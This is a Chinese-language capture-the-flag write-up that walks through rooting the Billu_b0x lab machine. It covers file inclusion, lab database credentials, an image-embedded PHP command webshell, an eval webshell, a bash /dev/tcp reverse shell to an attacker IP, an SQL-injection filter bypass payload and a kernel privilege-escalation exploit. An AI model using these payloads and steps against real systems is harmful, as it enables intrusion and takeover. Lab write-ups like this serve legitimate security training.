8. CTF綜合靶機滲透(一)

靶機說明

虛擬機難度中等,使用ubuntu(32位),其餘軟件包有:php

  • PHPmysql

  • apacheweb

  • MySQLsql

目標

Boot to root:從Web應用程序進入虛擬機,並得到root權限。shell

運行環境

  • 靶機:使用VMWare打開虛機,網絡鏈接方式設置爲net,靶機自動獲取IP。數據庫

  • 攻擊機:同網段下有Windows攻擊機,安裝有Nmap、Burpsuit、Sqlmap、nc、Python2.七、DirBuster、AWVS、Nessus等滲透工具,kali攻擊機,主要用Windows攻擊機完成實驗。apache

信息收集

  • ip發現ubuntu

  • 首先kali本機的IP爲

 

啓動Billu_b0x虛擬機,因爲虛機網絡設置爲net模式,使用Nmap掃描VMware Network Adapter VMnet8網卡的NAT網段C段IP,便可找到虛機IP,命令:windows

nmap -sP 192.168.1.1/24後端

 

得到靶機ip 192.168.1.112

 

  • 端口和服務識別

 使用nmap掃描1-65535全端口,並作服務識別和深度掃描(加-A參數),命令:

 nmap -p 1-65535 -A 192.168.1.112

 

發現目標主機端口和服務以下:

端口 協議 後端服務

TCP 22 SSH OpenSSH 5.9p1

TCP 80 HTTP Apache httpd 2.2.22 

進入web首頁:發現用戶名口令輸入框,並提示「Show me your SQLI skills」。

 

漏洞挖掘

  • 漏洞挖掘思路:

(1) SQL注入:首頁提示注入,想辦法注入成功。

(2) 暴破目錄:用DirBuster暴破,看是否有新網頁,找新漏洞;

(3) 漏洞掃描:暴破的新網頁,送進AWVS或APPScan掃漏洞;

(4) 手動挖掘:暴破的新頁面,經過Firefox掛burp代理,在burp中觀察Request和Response包,手動找漏洞;

(5) 查看每一個網頁的源碼,看是否有提示;。

(6) 如獲得用戶名,密碼,嘗試登陸ssh,如能鏈接上,無需反彈shell了。

  • 步驟1:測試首頁SQL注入

(1) 在用戶名輸入框輸入admin' or 'a'='a -- 密碼隨意,發現沒法注入,出現js彈框Try again:

 

(2) 使用sqlmap進行post注入測試,命令:

sqlmap.py -u 「http://192.168.1.112」 --data "un=admin&ps=admin&login=let%27s+login" --level 3 --dbms mysql

 

sqlmap注入檢測完成,結果沒法注入,目前不知道系統對注入的過濾規則是什麼,使用幾個sqlmap的tamper測試也未成功。暫時先不fuzz注入,看看暴破目錄。

  • 步驟2:windows使用御劍,DirBuster暴破目錄,同時使用kali Linux的dirb暴破,爲獲得更多的暴破結果,並減小暴破時間:

獲得頁面較多,test.php、add.php、in.php、c.php、index.php、show.php等,目錄有:uploaded_images,phpmy,images依次訪問:

  • 步驟3:利用文件包含漏洞獲取php源碼、passwd文件

(1) 訪問test.php:頁面提示file參數爲空,須要提供file參數

測試文件包含:http://192.168.1.112?file=/etc/passwd 發現沒法包含,頁面沒有反應。

(2) 在Firefox的Hackbar或者Brupsuit中,將get請求,變動爲post請求,文件包含成功,得到passwd文件。

 

(3) 查看passwd文件,發現1個id 1000的帳號ica,ssh鏈接的用戶名能夠是ica或root:

 

(4) 經過一樣文件包含的方法,下載add.php、in.php、c.php、index.php、show.php、panel.php等文件,後面能夠訪問文件的同時,審計文件的源代碼。

 

add.php

add.php是一個上傳界面,可是功能沒法使用,查看源碼文件發現只是個頁面,沒有後臺處理代碼。in.php是php info信息。

  • 步驟5:查看c.php源碼

這是數據庫鏈接文件,發現mysql鏈接用戶名密碼:

用戶名:billu

密碼:b0x_billu

數據庫名:ica_lab

c.php

 

  • 步驟6:經過獲得的mysql密碼登陸phpmyadmin

 

獲得WEB登錄的用戶名

 

 

  • 步驟7:繼續暴破phpmy目錄,文件包含phpmyadmin配置文件

(1) phpmyadmin的默認的配置文件是:config.inc.php。須要猜想路徑,經過URL猜想路徑默認在/var/www/phpmy下面。

(2) 在火狐瀏覽器的Hackbar或者Burpsuit中,經過文件包含,讀取config.inc.php文件,Hackbar的獲取方法:

  • 步驟8:使用xshell ssh登陸root帳號,完成實驗

 

獲取shell

 

  • 步驟9:登陸index首頁,並得到cmd shell和反彈shell

(1) 使用web密碼登陸首頁,大小寫必須同樣。

登陸後是帳號管理界面,帳號是加勒比海盜的兩位主角船長:傑克·斯帕羅和巴博薩船長。多寫一句,本人更喜歡巴博薩船長,一個像敵人同樣的海盜朋友,幽默、勇敢、陰險狡詐、霸道野心、老謀深算。

兩個帳號的頭像圖片地址,在以前暴破出來:http://192.168.1.112/uploaded_images/

(2) 點擊add user進入添加帳號界面,這是一個圖片上傳,思路是利用圖片上傳和文件包含得到shell。

查看以前test文件包含得到的panel.php源碼,發現panel.php存在本地文件包含漏洞:

下載一張http://192.168.1.112/uploaded_images/中的圖片jack.php,文本編輯器打開,在文件中間或末尾加入一句話cmd命令馬

<?php system($_GET['cmd']); ?> 將文件  joker.php 上傳成功

(3) 使用burp執行命令: post請求url中加入執行命令的參數:POST/ panel.php?cmd=cat%20/etc/passwd;ls

post的body中包含cmd.jpg圖片馬:load=/uploaded_images/cmd.jpg&continue=continue

成功執行命令cat /etc/passwd;ls

 

或者在hackbar裏面:

(4) 用bash反彈shell

命令:echo "bash -i >& /dev/tcp/192.168.1.109/4444 0>&1" | bash

須要將命令url編碼:

 

在post的url中發送命令:

 

 

 nc接收反彈shell成功:

 

 

  • 步驟12:找一個可寫權限目錄,寫入菜刀馬

文件上傳目錄uploaded_images爲寫權限目錄,進入該目錄,寫一個菜刀馬:

echo '<?php eval($_POST['joker']);?>' >> 1.php

 查看一下,發現上傳成功

 

直接菜刀連接便可

提高權限

  • 步驟13:查看內核、系統版本,尋找提權exp

(1) 查看系統內核版本,命令uanme -acat /etc/issue

(2) 下載Ubuntu著名的本地提權漏洞exp:

https://www.exploit-db.com/exploits/37292/

 

  • 步驟14:編譯、提權

(1) 賦予執行權限

chmod 777 37292.c

(2) 編譯exp,因爲權限限制,咱們在kali本機上gcc編譯下載好的exp腳本

gcc 37292.c -o exp

執行完代碼,會生成一個exp,直接運行

(3) 執行exp,提權至root

 

提權以前:

提權以後:

咱們如今已是管理員權限了,完美收官

-------------------------------------------------------------------------------------------------

總結

  • 正常的思路有3條路線能夠突破:

思路1

構造注入:從test的文件包含得到index.php源碼,源碼中可查看到過濾sql的方法,針對性構造sql注入,登陸後獲取shell再提權。

(1) 審計index.php源碼,發現如下過濾規則:

$uname=str_replace('\'','',urldecode($_POST['un']));

$pass=str_replace('\'','',urldecode($_POST['ps']));

str_replace的做用是將字符串\' 替換爲空,所以構造SQL注入登陸payload時,必須含有\'字符串,不然會報錯。urldecode的做用是將輸入解碼。

(2) 常見的利用注入登陸的payload是' or 1=1 -- 修改這個在最後增長\',str_replace會將這個\'替換爲空。

使用php在線調試工具,測試以下:

 

 

(3) 注入成功,payload是' or 1=1 -- \'

 

 

後面獲取shell方法和上面實驗相同。

思路2暴破出phpmyadmin,文件包含從c.php得到mysql密碼,登陸phpmyadmin,再獲取shell。

思路3:文件包含全部有權限查看的配置文件,從phpmyadmin配置文件得到root密碼,而後ssh登陸。該過程儘管mysql故障,也能夠完成。

  • 踩到的坑

(1) mysql被高線程目錄暴破和注入宕機:致使phpmyadmin有正確密碼但沒法登陸,耗費較長時間。這是意外故障。由於以前的2個工具同時目錄暴破、sqlmap注入等線程太高,致使mysql死了。

(2) test.php文件包含漏洞利用,get不行,改成post試試。包含成功後,要把各個頁面的源代碼拿下來審計。

(3) index.php的SQL注入花費很多時間,後來發現,即便不用sql注入,也有其餘道路能夠完成,經過phpmyadmin登陸,繞過了注入。

(4) panel.php的文件包含漏洞,若是不認真關注源碼,難以發現。使用test.php的文件包含,沒能觸發shell利用。

(5) 文件上傳+文件包含拿shell是靶機經常使用的方式,遇到兩個漏洞,能夠熟練拿shell。

(6) 提權方法能夠多關注主要的配置文件、數據庫鏈接文件、用戶的文件;也能夠利用Ubuntu已知漏洞本地提權。

相關文章
相關標籤/搜索